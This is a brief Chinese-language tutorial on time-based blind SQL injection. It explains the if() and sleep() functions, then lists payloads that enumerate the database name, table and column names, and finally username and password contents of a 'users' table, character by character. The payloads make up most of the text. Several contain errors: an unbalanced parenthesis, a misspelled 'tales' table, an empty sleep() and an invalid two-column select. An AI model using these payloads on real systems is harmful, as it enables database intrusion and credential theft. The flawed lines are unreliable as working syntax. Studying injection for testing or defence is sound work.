二、SQL注入-时间盲注
大约 1 分钟
二、SQL注入-时间盲注
适用场景
页面既无具体错误信息的回显,也无法通过返回信息得知输入内容的对错,这时使用时间盲注,利用页面加载时间判断输入内容的对错。
常用函数
if(判断语句,语句正确执行内容,语句错误执行内容)
将输入内容作为判断语句,判断输入内容的对错。判断语句正确时执行sleep()函数,让页面延时加载。语句错误时执行的内容设置为1,默认页面正常加载,无时延。
sleep(休眠时间) 单位:秒
sleep()函数用在语句正确时执行,一旦页面加载出现延迟即可判断输入内容是正确的。
示例:爆破数据库、表、字段、内容
示例
--判断数据库名称长度
if(length((select database())>9,sleep(5),1);
--逐字符爆破数据库名称
if(ascii(substr((select database()),1,1))=115,sleep(5),1);
--判断所有表名长度
if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))<50,sleep(5),1);
--逐字符爆破所有表名称
if(ascii(substr((select group_concat(table_name) from information_schema.tales where table_schema='security'),1,1))=115,sleep(5),1);
--判断所有列名称长度
if(length((select group_concat(column_name) from information_schema.columns where table_name='users'))=115,sleep(),1);
--逐字符爆破所有列名称
if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1))=115,sleep(5),1);
--判断所有字段内容长度
if(length((select (username,password) from users))<90,sleep(5),1);
--逐字符爆破字段内容
if(ascii(substr((select (username,password) from users),1,1))<115,sleep(5),1);
附录 ASCII表

Loading...
